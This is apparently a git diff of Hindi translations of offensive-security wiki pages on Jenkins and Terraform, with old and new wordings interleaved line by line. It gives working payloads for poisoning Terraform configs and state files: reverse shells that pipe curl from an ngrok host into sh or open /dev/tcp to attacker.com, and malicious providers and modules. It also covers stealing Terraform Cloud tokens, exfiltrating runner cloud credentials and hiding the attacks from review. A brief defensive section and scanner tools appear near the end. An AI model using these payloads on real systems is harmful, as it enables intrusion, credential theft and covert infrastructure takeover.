या **पथ तक पहुँचने का प्रयास करें** `/job/<proj-name>/configure` या `/me/my-views/view/all/job/<proj-name>/configure` \_\_ प्रत्येक प्रोजेक्ट में (उदाहरण: `/job/Project0/configure` या `/me/my-views/view/all/job/Project0/configure`)।
या फिर हर project में **path** `/job/<proj-name>/configure` या `/me/my-views/view/all/job/<proj-name>/configure` \_\_ तक access करने की **try** करें (example: `/job/Project0/configure` या `/me/my-views/view/all/job/Project0/configure`)।
## Execution
यदि आपको प्रोजेक्ट को कॉन्फ़िगर करने की अनुमति है तो आप **इसे सफल निर्माण पर कमांड निष्पादित करने के लिए बना सकते हैं**:
अगर आपको project configure करने की अनुमति है, तो आप इसे इस तरह **make it execute commands when a build is successful** कर सकते हैं:
![](<../../images/image (98).png>)
![Jenkins build step text area containing a reverse shell command](<../../images/image (98).png>)
**Save** पर क्लिक करें और प्रोजेक्ट को **build** करें और आपका **कमांड निष्पादित होगा**\
यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं, तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**
**Save** पर क्लिक करें और project को **build** करें और आपका **command will be executed**.\
अगर आप reverse shell execute नहीं कर रहे, बल्कि कोई simple command चला रहे हैं, तो आप **build के output के अंदर command का output** देख सकते हैं।
{{#include ../../banners/hacktricks-training.md}}
+129 -128
View File
@@ -1,68 +1,68 @@
# Terraform सुरक्षा
# Terraform Security
{{#include ../banners/hacktricks-training.md}}
## बुनियादी जानकारी
## Basic Information
[From the docs:](https://developer.hashicorp.com/terraform/intro)
[डॉक्स से:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform एक **infrastructure as code tool** है जो आपको human-readable configuration फाइलों में दोनों **cloud और on-prem resources** को परिभाषित करने देता है जिन्हें आप version, reuse, और share कर सकते हैं। आप फिर एक सुसंगत workflow का उपयोग करके अपने पूरे infrastructure को उसके lifecycle के दौरान provision और manage कर सकते हैं। Terraform compute, storage, और networking जैसे low-level components के साथ-साथ DNS entries और SaaS features जैसे high-level components को भी manage कर सकता है।
HashiCorp Terraform एक **infrastructure as code tool** है जो आपको **cloud और on-prem resources** को human-readable configuration files में define करने देता है, जिन्हें आप version, reuse, और share कर सकते हैं। इसके बाद आप एक consistent workflow का उपयोग करके अपने infrastructure को उसके lifecycle भर provision और manage कर सकते हैं। Terraform low-level components जैसे compute, storage, और networking resources, साथ ही high-level components जैसे DNS entries और SaaS features को manage कर सकता है।
#### Terraform कैसे काम करता है?
Terraform cloud platforms और अन्य सेवाओं पर उनके application programming interfaces (APIs) के माध्यम से resources बनाता और manage करता है। Providers Terraform को किसी भी ऐसे प्लेटफ़ॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिके पास accessible API हो।
Terraform अपने application programming interfaces (APIs) के माध्यम से cloud platforms और अन्य services पर resources create और manage करता है। Providers Terraform को लगभग किसी भी platform या service के साथ काम करने देते हैं जिके पास accessible API हो।
![](<../images/image (177).png>)
![Terraform provider workflow diagram connecting Terraform to a provider and target API](<../images/image (177).png>)
HashiCorp और Terraform community ने पहले से ही **1700 से अधिक providers** लिखे हैं ताकि हजारों तरह के resources और सेवाओं को manage किया जा सके, और यह संख्या बढ़ती जा रही है। आप सभी publicly available providers को [Terraform Registry](https://registry.terraform.io/) पर देख सकते हैं, जिमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और बहुत कुछ शामिल हैं।
HashiCorp और Terraform community पहले ही अलग-अलग प्रकार के हजारों resources और services को manage करने के लिए **1700 से अधिक providers** लिख चुके हैं, और यह संख्या लगातार बढ़ रही है। आप सभी publicly available providers [Terraform Registry](https://registry.terraform.io/) पर पा सकते हैं, जिमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं।
Core Terraform workflow तीन चरणों में होता है:
Terraform का core workflow तीन stages से बना है:
- **Write:** आप resources को परिभाषित करते हैं, जो कई cloud providers और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप एक configuration बना सकते हैं जो एक Virtual Private Cloud (VPC) नेटवर्क में virtual machines पर एक application deploy करे, जिसमें security groups और एक load balancer हो
- **Plan:** Terraform एक execution plan बनाता है जो उस इन्फ्रास्ट्रक्चर का वर्णन करता है जो यह create, update, या destroy करेगा, मौजूदा इन्फ्रास्ट्रक्चर और आपकी configuration के आधार पर
- **Apply:** अनुमोदन पर, Terraform प्रस्तावित operations को सही क्रम में निष्पादित करता है, किसी भी resource dependencies का सम्मान करतुए। उदाहरण के लिए, यदि आप किसी VPC की properties अपडेट करते हैं और उस VPC में virtual machines की संख्या बदलते हैं, तो Terraform virtual machines को स्केल करने से पहले VPC को recreate करेगा।
- **Write:** आप resources define करते हैं, जो multiple cloud providers और services में हो सकते हैं। उदाहरण के लिए, आप Virtual Private Cloud (VPC) network में security groups और load balancer के साथ virtual machines पर application deploy करने के लिए configuration बना सकते हैं
- **Plan:** Terraform एक execution plan बनाता है जो बताता है कि वह existing infrastructure और आपकी configuration के आधार पर क्या create, update, या destroy करेगा
- **Apply:** approval मिलने पर, Terraform proposed operations को सही order में execute करता है, और resource dependencies का सम्मान करत। उदाहरण के लिए, यदि आप VPC की properties update करते हैं और उस VPC में virtual machines की संख्या बदलते हैं, तो Terraform virtual machines को scale करने से पहले VPC को recreate करेगा।
![](<../images/image (215).png>)
![Terraform workflow diagram showing Write, Plan, and Apply stages from configuration to providers](<../images/image (215).png>)
### Terraform लैब
### Terraform Lab
बस अपने कंप्यूटर में Terraform इंस्टॉल करें।
बस अपने computer पर terraform install करें।
यहाँ आपके पास एक [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास Terraform डाउनलोड करने का [best way to download terraform](https://www.terraform.io/downloads) है।
यहाँ आपके लिए एक [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ terraform डाउनलोड करने का [best way](https://www.terraform.io/downloads) है।
## RCE in Terraform: config file poisoning
Terraform **को कोई ऐसी प्लेटफ़ॉर्म सेवा नहीं देती जो वेब पेज या नेटवर्क सर्विस एक्सपोज़ करे** जिसे हम enumerate कर सकें, इसलिए Terraform को compromise करने का एकमात्र तरीका यह है कि आप **terraform configuration files को add/modify कर सकें** या **terraform state file को modify कर सकें** (नीचे अध्याय देखें)।
Terraform के पास **कोई ऐसा platform नहीं है जो web page या network service expose करता हो** जिसे हम enumerate कर सकें, इसलिए terraform को compromise करने का एकमात्र तरीका है **terraform configuration files add/modify करना** या **terraform state file modify करना** (नीचे वाला chapter देखें)।
हालाँकि, Terraform compromise करने के लिए एक **बहुत संवेदनशील कंपोनेंट** है क्योंकि इसे सही ढंग से काम करने के लिए विभिन्न स्थानों पर **privileged access** की आवश्यकता होती है।
हालाँकि, terraform compromise करने के लिए एक **बहुत sensitive component** है क्योंकि proper काम करने के लिए इसे अलग-अलग locations तक **privileged access** मिलता है।
एक attacker के लिए उस सिस्टम को compromise करने का मुख्य तरीका जहाँ Terraform चल रहा है, वह है **repository जिसे terraform configurations स्टोर करत हैं उसे compromise करना**, क्योंकि किसी न किसी बिंदु पर वे interpret कि जाएंगे
Attacker के लिए उस system को compromise करने का मुख्य तरीका जहाँ terraform चल रहा है, **उस repository को compromise करना** है जो terraform configurations store करत है, क्योंकि किसी point पर उन्हें **interpreted** किया जाएगा
वास्तव में, ऐस solutions हैं जो **एक PR बनने के बाद terraform plan/apply को स्वचालित रूप से execute** कर देती हैं, जैसे **Atlantis**:
असल में, ऐस solutions मौजूद हैं जो **PR create होने के बाद automatically terraform plan/apply execute** करते हैं, जैसे **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
यदि आप किसी terraform फ़ाइल को compromise कर पाते हैं तो ऐसे कई तरीके हैं जिनसे आप RCE कर सकते हैं जब कोई `terraform plan` या `terraform apply` execute करता है।
यदि आप किसी terraform file को compromise करने में सक्षम हैं, तो ऐसे कई तरीके हैं जिनसे आप RCE कर सकते हैं जब कोई `terraform plan` या `terraform apply` execute करता है।
### Terraform plan
Terraform plan terraform का **सबसे ज्यादा इस्तेमाल किया जाने वाला command** है और developers/solutions जो Terraform का उपयोग करते हैं वो इसे बार-बार चलाते हैं, इसलिए **RCE पाने का सबसे आसान तरीका** यह है कि आप ऐस terraform config file poison करें जो `terraform plan` में arbitrary commands execute करे।
Terraform plan terraform में **सबसे ज्यादा उपयोग किया जाने वाला command** है और terraform इस्तेमाल करने वाले developers/solutions इसे हर समय call करते हैं, इसलिए **RCE पाने का सबसे आसान तरीका** है यह सुनिश्चित करना कि आप एक ऐस terraform config file poison करें जो `terraform plan` में arbitrary commands execute करेगी
**Using an external provider**
Terraform [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ऑफर करता है जो Terraform और external programs के बीच interface प्रदान करने का तरीका देता है। आप `external` data source का उपयोग करके `plan` के दौरान arbitrary code चला सकते हैं।
Terraform [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है, जो Terraform और external programs के बीच interface करने का तरीका देता है। आप `external` data source का उपयोग करके `plan` के दौरान arbitrary code run कर सकते हैं।
एक terraform config फ़ाइल में निम्नलिखित जैसी चीज inject करने से `terraform plan` execute करपर एक rev shell चल जाएगी:
एक terraform config file में नीचे जैसा कुछ inject करने से `terraform plan` execute करसमय एक rev shell execute होगा:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**कस्टम provider का उपयोग**
**एक custom provider का उपयोग**
एक attacker [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर उसे Terraform code में feature branch में जोड़ सकता है ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
एक attacker [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर उसे एक feature branch में Terraform code में जोड़ सकता है ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,28 +75,28 @@ version = "1.0"
provider "evil" {}
```
Provider को `init` में डाउनलोड किया जाता है और `plan` के निष्पादन पर यह दुर्भावनापूर्ण कोड चलाएगा
provider को `init` में डाउनलोड किया जाता है और जब `plan` execute होता है तब malicious code run करेगा
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
आप एक example यहाँ पा सकते हैं [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**बाहरी संदर्भ का उपयोग करना**
**Using an external reference**
उल्लिखित दोनों विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा पहले की तुलना में अधिक छिपा हुआ है पर पहले से अधिक जटिल)। आप इस हमले को और भी अधिक छिपे हुए तरीके से कर सकते हैं, निम्न सुझावों का पालन करके:
दोनों mentioned options useful हैं लेकिन बहुत stealthy नहीं हैं (दूसरा अधिक stealthy है लेकिन पहले से अधिक complex है)। आप इस attack को और भी **stealthier way** में कर सकते हैं, इन suggestions को follow करके:
- सीधे terraform file में rev shell जोड़ने क बजाय, आप rev shell को रखने वाले एक **बाहरी resource को लोड** कर सकते हैं:
- rev shell को सीधे terraform file में add करने क बजाय, आप एक **external resource** load कर सकते हैं जिसमें rev shell मौजूद हो:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
आप rev shell कोड इस लिंक पर पा सकते हैं: [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
आप [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में rev shell code पा सकते हैं
- बाहरी resource में, repo के अंदर किसी ब्रांच में मौजूद **terraform rev shell code** को छिपाने के लिए **ref** फीचर का उपयोग करें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- external resource में, **ref** feature का उपयोग करके repo के अंदर एक branch में **terraform rev shell code** को hide करें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply सभी परिवर्तन लागू करने के लिए चलाया जाएगा, आप इसे दुरुपयोग कर RCE प्राप्त कर सकते हैं, [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
आपको बस यह सुनिश्चित करना है कि नीचे दिए गए किसी payload को `main.tf` फाइल के अंत में रखा गया हो:
Terraform apply सभी changes को apply करने के लिए execute होगा, आप इसे **local-exec** के साथ [**malicious Terraform file**](https://www.terraform.io/docs/provisioners/local-exec.html)** inject करके RCE प्राप्त करने के लिए भी abuse कर सकते हैं।**\
आपको बस यह सुनिश्चित करना है कि निम्नलिखित जैसे कुछ payload `main.tf` file में end हो:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
पिछली तकनीक के **सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके और अधिक छिपकर** किया जा सके
पिछली तकनीक से दिए गए **suggestions** का पालन करें और **external references** का उपयोग करके इस attack को **stealthier** तरीके से perform करें
## Secrets Dumps
आप terraform file में कुछ इस तरह जोड़कर `terraform apply` चलाने पर **secret values used by terraform dumped** करा सकते हैं:
आप `terraform apply` रन करके **terraform द्वारा used secret values** को dump करा सकते हैं, इसके लिए terraform file में कुछ ऐसा जोड़ें:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,15 +124,15 @@ value = nonsensitive(var.do_token)
```
## Terraform State Files का दुरुपयोग
अगर आपके पास terraform state files पर write access है लेकिन आप terraform code को बदल नहीं सकते, तो [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फाइल का फायदा उठाने के कुछ दिलचस्प विकल्प देती है। भले ही आपके पास config files पर write access हो, state files के वेक्टर का उपयोग अक्सर कहीं ज़्यादा छिपा हुआ (sneaky) होता है, क्योंकि आप `git` history में निशान नहीं छोड़ते।
अगर आपके पास terraform state files पर write access है लेकिन आप terraform code नहीं बदल सकते, तो [**यह research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) file का फायदा उठाने के कुछ दिलचस्प options देती है। अगर आपके पास config files पर भी write access हो, तब भी state files वाला vector अक्सर ज़्यादा sneaky होता है, क्योंकि आप `git` history में tracks नहीं छोड़ते।
### RCE in Terraform: config file poisoning
### Terraform में RCE: config file poisoning
यह संभव है कि आप [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और terraform state file में से किसी एक provider को malicious वाले से replace कर दें या malicious provider को reference करने वाला एक fake resource जोड़ दें
[custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) बनाना संभव है और terraform state file में मौजूद providers में से किसी एक को malicious provider से replace किया जा सकता है, या malicious provider को reference करने वाला fake resource add किया जा सकता है
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) इस रिसर्च पर आधारित है और इस सिद्धांत को weaponize करता है। आप एक fake resource जोड़ सकते हैं और attribute `command` में अपना arbitrary bash command डाल सकते हैं जिसे आप चलाना चाहते हैं। जब `terraform` run trigger होगा, यह दोनों `terraform plan` और `terraform apply` चरणों में पढ़ा और execute किया जाएगा। `terraform apply` के मामले में, `terraform` आपक command को execute करने के बाद state file से fake resource को delete कर देगा, अपने आप cleanup करते हुए। अधिक जानकारी और पूरा demo इस provider के source code को होस्ट करने वाले [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce) में पाया जा सकता है।
provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) इसी research पर आधारित है और इस principle को weaponize करता है। आप एक fake resource add कर सकते हैं और `command` attribute में arbitrary bash command specify कर सकते हैं जिसे आप run करवाना चाहते हैं। जब `terraform` run trigger होगा, तो यह `terraform plan` और `terraform apply` दोनों steps में read और execute किया जाएगा। `terraform apply` step के case में, `terraform` आपक command execute करने के बाद fake resource को state file से delete कर देगा, यानी अपने निशान खुद साफ़ कर देगा। अधिक जानकारी और एक full demo [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce) में मिल सकता है।
इसे सीधे उपयोग करने के लिए, बस निम्नलिखित को `resources` array में किसी भी स्थान पर शामिल करें और `name` और `command` attributes को customize करें:
इसे सीधे use करने के लिए, बस `resources` array के किसी भी position पर निम्नलिखित include करें और `name` तथा `command` attributes customize करें:
```json
{
"mode": "managed",
@@ -152,15 +152,15 @@ The provider [statefile-rce](https://registry.terraform.io/providers/offensive-a
]
}
```
फिर, जैसे ही `terraform` निष्पादित होता है, आपका कोड चल जाएगा।
Then, as soon as `terraform` gets executed, your code will run.
### संसाधनों को हटाना <a href="#deleting-resources" id="deleting-resources"></a>
संसाधनों को नष्ट करने के 2 तरीके हैं:
1. **नष्ट किए जाने वाले वास्तविक resource की ओर इशारा करते हुए state फ़ाइल में एक यादृच्छिक नाम के साथ resource डालें**
1. **state file में एक random नाम वाला resource insert करें जो destroy किए जाने वाले real resource की ओर point करे**
क्योंकि `terraform`खेगा कि वह resource मौजूद नहीं होना चाहिए, ह उसे नष्ट कर देगा (दिए गए वास्तविक resource ID के अनुसार)। उदाहरण पिछले पृष्ठ से:
क्योंकि terraform कोिखेगा कि resource मौजूद नहीं होना चाहिए, ह उसे destroy कर देगा (बताई गई real resource ID के अनुसार)। पिछले page से example:
```json
{
"mode": "managed",
@@ -176,13 +176,13 @@ The provider [statefile-rce](https://registry.terraform.io/providers/offensive-a
]
},
```
2. **Resource को ऐसे संशोधित करें कि उसे अपडेट करना संभव न हो (ताकि वह हटाया जाए और फिर से बनाया जाए)**
2. **resource को ऐसे modify करें कि उसे update करना possible न हो (इसलिए वह delete होकर फिर से recreated होगा)**
EC2 instance के लिए, instance क type को बदलना पर्याप्त होता है ताकि terraform उसे हटाकर फिर से बना दे
एक EC2 instance के लिए, instance क type modify करना terraform को उसे delete करके फिर से recreate करने के लिए पर्याप्त है
### ब्लैकलिस्ट किए गए प्रोवाइडर को बदलें
### blacklisted provider को replace करें
अगर आपको ऐसी स्थिति मिल जहाँ `hashicorp/external` ब्लैकलिस्ट किया गया हो, तो आप नीचे दिए तरीके से `external` provider को पुनः लागू (re-implement) कर सकते हैं। नोट: हम external provider के एक fork का उपयोग करते हैं जो https://registry.terraform.io/providers/nazarewk/external/latest पर प्रकाशित है। आप अपना खुद का fork या re-implementation भी प्रकाशित कर सकते हैं।
अगर आपको ऐसी स्थिति मिलती है जहाँ `hashicorp/external` blacklist किया गया था, तो आप निम्न तरीके से `external` provider को re-implement कर सकते हैं। Note: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा published external provider के fork का use करते है। आप चाहें तो अपना fork या re-implementation भी publish कर सकते हैं।
```terraform
terraform {
required_providers {
@@ -193,7 +193,7 @@ version = "3.0.0"
}
}
```
तब आप सामान्य रूप से `external` का उपयोग कर सकते हैं।
फिर आप `external` का सामान्य रूप से उपयोग कर सकते हैं।
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
@@ -201,19 +201,19 @@ program = ["sh", "-c", "whoami"]
```
## Terraform Cloud speculative plan RCE and credential exfiltration
यह परिदृश्य Terraform Cloud (TFC) runners का speculative plans के दौरान दुरुपयोग करके लक्ष्य क्लाउड खाते में pivot करने का तरीका दिखाता है।
यह scenario Terraform Cloud (TFC) runners का उपयोग speculative plans के दौरान target cloud account में pivot करने के लिए abuse करता है।
- पूर्वशर्तें:
- एक developer मशीन से Terraform Cloud token चुराएँ। CLI tokens को plaintext में `~/.terraform.d/credentials.tfrc.json` पर स्टोर करता है।
- टोकन के पास लक्ष्य organization/workspace तक पहुँच और कम से कम `plan` permission होन चाहिए। VCS-backed workspaces CLI से `apply` को ब्लॉक करते हैं, पर फिर भी speculative plans की अनुमति देते हैं।
- Preconditions:
- Developer machine से Terraform Cloud token steal करें। CLI tokens को plaintext में `~/.terraform.d/credentials.tfrc.json` में store करता है।
- Token के पास target organization/workspace का access होना चाहिए और कम से कम `plan` permission होन चाहिए। VCS-backed workspaces CLI से `apply` को block करते हैं, लेकिन फिर भी speculative plans allow करते हैं।
- TFC API के माध्यम से workspace और VCS सेटिंग्स खोजें:
- TFC API के जरिए workspace और VCS settings discover करें:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- speculative plan के दौरान external data source और Terraform Cloud "cloud" block का उपयोग करके VCS-backed workspace को लक्षित करने के लिए code execution ट्रिगर करें:
- बाहरी data source और Terraform Cloud "cloud" block का उपयोग करके speculative plan के दौरान code execution trigger करें ताकि VCS-backed workspace को target किया जा सके:
```hcl
terraform {
cloud {
@@ -226,30 +226,30 @@ data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
TFC runner पर reverse shell प्राप्त करने के लिए rsync.sh का उदाहरण:
TFC runner पर reverse shell प्राप्त करने के लिए Example rsync.sh:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
ephemeral runner पर प्रोग्राम को निष्पादित करने के लिए एक अनुमानित योजना चलाएँ:
ephemeral runner पर program execute करने के लिए एक speculative plan चलाएँ:
```bash
terraform init
terraform plan
```
- Runner से injected cloud credentials को enumerate और exfiltrate करें। Runs के दौरान, TFC provider credentials को files और environment variables के माध्यम से inject किया जाता है:
- रनर से injected cloud credentials को enumerate करें और exfiltrate करें। रन के दौरान, TFC provider credentials को files और environment variables के जरिए inject कता है:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Runner की working directory में अपेक्षित फ़ाइलें:
रनर working directory में अपेक्षित files:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON कॉन्फ़िग)
- `tfc-gcp-token` (short-lived GCP एक्सेस टोकन)
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (short-lived GCP access token)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption कॉन्फ़िग)
- `tfc-aws-token` (short-lived टोकन; कुछ संगठन स्थिर keys का उपयोग कर सकते हैं)
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
- VCS gates को बायपास करने के लिए short-lived credentials को out-of-band तरीके से उपयोग करें:
- VCS gates को bypass करने के लिए short-lived credentials को out-of-band use करें:
GCP (gcloud):
```bash
@@ -263,54 +263,55 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
इन creds के साथ, attackers native CLIs का उपयोग करके सीधे resources create/modify/destroy कर सकते हैं, VCS के जरिए `apply` को block करने वाले PR-based workflows को sidestep करते हुए।
- रक्षा संबंधी मार्गदर्शन:
- TFC उपयोगकर्ताओं/टीमों और tokens पर न्यूनतम विशेषाधिकार लागू करें। सदस्यताओं का ऑडिट करें और व्यापक 'owners' रोल से बचें।
- संवेदनशील VCS-backed workspaces पर `plan` अनुमति जहाँ संभव हो सीमित करें।
- Sentinel policies के साथ provider/data source allowlists लागू करें ताकि `data "external"` या अज्ञात providers को ब्लॉक किया जा सके। HashiCorp की provider filtering पर guidance देखें।
- स्थिर cloud credentials क बजाय OIDC/WIF को प्राथमिकता दें; runners को संवेदनशील मानें। speculative plan runs और unexpected egress की निगरानी करें।
- `tfc-*` credential artifacts की exfiltration का पता लगाएँ और plans के दौरान संदिग्ध `external` program उपयोग पर अलर्ट करें।
- Defensive guidance:
- TFC users/teams और tokens पर least privilege लागू करें। memberships audit करें और oversized owners से बचें।
- जहाँ feasible हो, sensitive VCS-backed workspaces पर `plan` permission restrict करें।
- Sentinel policies के साथ provider/data source allowlists enforce करें ताकि `data "external"` या unknown providers block हों। HashiCorp guidance on provider filtering देखें।
- Static cloud credentials क बजाय OIDC/WIF prefer करें; runners को sensitive मानें। speculative plan runs और unexpected egress monitor करें।
- `tfc-*` credential artifacts की exfiltration detect करें और plans के दौरान suspicious `external` program usage पर alert करें।
## Terraform Cloud का समझौता
## Compromising Terraform Cloud
### Using a token
जैसा कि **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. चोरी किए गए इस token से एक attacker token के स्कोप के भीतर user क impersonate कर सकता है।
जैसा कि **[इस post में समझाया गया है](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI tokens को plaintext में **`~/.terraform.d/credentials.tfrc.json`** में store करता है। इस token को चुराने से attacker token के scope के भीतर user क impersonation कर सकता है।
इस token का उपयोग करके org/workspace प्राप्त करना संभव है:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
Then `terraform plan` का उपयोग करके arbitrary code चलाना संभव है, जैसा कि पिछले chapter में समझाया गया है।
### क्लाउड तक बाहर निकलना
### cloud में Escaping
फिर, यदि runner किसी cloud environment में स्थित है, तो runner से जुड़ी principal का token प्राप्त करना और उसे out of band उपयोग करना संभव है।
फिर, अगर runner किसी cloud environment में located है, तो runner से attached principal का token obtain करना और उसे out of band use करना संभव है।
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token`अल्पकालिक (≈1 hour) GCP access token जो ऊपर संदर्भित है
- `tfc-google-application-credentials` — Workload Identity Federation(WIF) के लिए JSON config, जो Google को बताता है कि external identity को कैसे exchange करना है।
- `tfc-gcp-token`ऊपर referenced shortlived (≈1 hour) GCP access token
- **AWS files**
- `tfc-aws-shared-config` JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, या misconfigured होने पर संभावित रूप से static IAM keys
- `tfc-aws-shared-config` — web identity federation/OIDC role assumption के लिए JSON
(static keys की तुलना में preferred).
- `tfc-aws-token` — shortlived token, या misconfigured होने पर potentially static IAM keys.
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC फॉर्मैट्स में कमजोरियाँ और गलत कॉन्फ़िगरेशन का पता लगाता है।
Snyk एक comprehensive Infrastructure as Code (IaC) scanning solution प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC formats में vulnerabilities और misconfigurations detect करता है।
- **Features:**
- रीयल-टाइम स्कैनिंग सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए।
- Version control systems (GitHub, GitLab, Bitbucket) के साथ इंटीग्रेशन।
- Automated fix pull requests
- विस्तृत सुधारात्मक सुझाव।
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
- security vulnerabilities और compliance issues के लिए real-time scanning.
- version control systems (GitHub, GitLab, Bitbucket) के साथ integration.
- automated fix pull requests.
- detailed remediation advice.
- **Sign Up:** [Snyk](https://snyk.io/) पर account create करें।
```bash
brew tap snyk/tap
brew install snyk
@@ -319,28 +320,28 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** एक static code analysis tool है infrastructure as code (IaC) के लिए, और images और open source packages के लिए एक software composition analysis (SCA) tool भी है।
**Checkov** infrastructure as code (IaC) के लिए एक static code analysis tool है और images तथा open source packages के लिए एक software composition analysis (SCA) tool भी है।
यह उन cloud infrastructure को स्कैन करता है जो [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) का उपयोग करके provision की गई cloud infrastructure को स्कैन करता है, और graph-based scanning का उपयोग करके security और compliance misconfigurations का पता लगाता है।
